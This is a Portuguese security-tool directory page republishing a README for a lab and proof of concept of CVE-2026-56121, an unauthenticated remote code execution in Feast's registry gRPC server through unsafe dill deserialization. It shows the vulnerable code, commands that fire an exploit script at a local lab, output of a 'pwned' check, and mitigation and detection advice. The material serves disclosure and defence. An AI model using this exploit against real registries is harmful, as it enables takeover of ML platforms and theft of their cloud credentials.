Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 RCE não autenticado através do registro gRPC dill.loads de OnDemandFeatureView UDF (pré-autenticação). Lab + PoC, verificado e2e. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAnálise de MalwareTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 RCE não autenticado através do registro gRPC dill.loads de OnDemandFeatureView UDF (pré-autenticação). Lab + PoC, verificado e2e.

Ver Repositório
há 1 mêsAinda não revisado

CVE-2026-56121 — RCE não autenticada no Feast via desserialização do registro gRPC

O servidor gRPC do registro do Feast < 0.63.0 dill.loads() a função definida pelo usuário de um OnDemandFeatureView assim que uma especificação chega — antes de qualquer verificação de autorização. A configuração enviada é auth: no_auth, então qualquer cliente que consiga alcançar a porta do registro (padrão 6570) obtém execução remota de código não autenticada ao enviar uma única requisição ApplyFeatureView com um pickle malicioso.

CVECVE-2026-56121
AffectedFeast < 0.63.0
Fixed0.63.0
ClassCWE-502 (Deserialization of Untrusted Data) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthNone (auth: no_auth default; deserialization happens pre-authorization)
Surfaceregistry gRPC RegistryServer.ApplyFeatureView (default port 6570)
StatusCONFIRMED — reproduced end-to-end against feast==0.62.0

Causa raiz

sdk/python/feast/registry_server.py:

root@kitploit:~
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) é chamado antes da verificação de permissão (2). Ele analisa a transformação, que dill.loads() o corpo da UDF — sdk/python/feast/transformation/pandas_transformation.py (e python_transformation.py):

root@kitploit:~
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- attacker-controlled pickle
        udf_string=user_defined_function_proto.body_text,
    )

dill é um superconjunto do pickle, então dill.loads() de bytes do atacante invoca o mecanismo __reduce__ do pickle → execução arbitrária de código. Como é executado antes de assert_permissions_to_update — e o padrão auth: no_auth torna essa verificação ineficaz de qualquer forma — o RCE é não autenticado.

Reproduzir

root@kitploit:~
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Observado:

root@kitploit:~
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

O RPC eventualmente gera erro (o objeto desserializado não é mais uma UDF executável), mas o comando já foi executado durante dill.loads() — cat /tmp/feast_pwned retorna a saída ao vivo de id/uname, provando execução ao invés de eco.

Impacto

Qualquer pessoa capaz de alcançar a porta gRPC do registro do Feast executa comandos arbitrários do sistema operacional como a conta de serviço do registro — comprometimento total do feature store e dos stores offline/online, registros e credenciais em nuvem aos quais está conectado. Registros do Feast são frequentemente expostos dentro de plataformas de ML para que clientes SDK os chamem.

Mitigação

  • Atualize para Feast ≥ 0.63.0, que adiciona um caminho skip_udf para que o servidor de registro não desserialize mais o corpo da UDF das especificações recebidas.
  • Defesa em profundidade: habilite auth (oidc/kubernetes) e nunca exponha a porta do registro a redes não confiáveis. Observe que apenas a autenticação não é suficiente no < 0.63.0, pois a desserialização precede a verificação de autorização.

Detecção

Alerta sobre RPCs ApplyFeatureView / ApplyMaterialization para o registro cujo OnDemandFeatureView user_defined_function.body não é produzido por um cliente confiável, e sobre processos do registro gerando shells.

Veja ANALYSIS.md para o caminho proto, a ordenação desserialização-antes-autenticação e o patch.


  • Author: Caio Fabrício — github.com/BiiTts
  • O crédito pela vulnerabilidade pertence ao relator original / aviso do fornecedor; este repositório é uma reprodução independente para uso defensivo e educacional. Apenas para testes de segurança autorizados.
Baixar ferramenta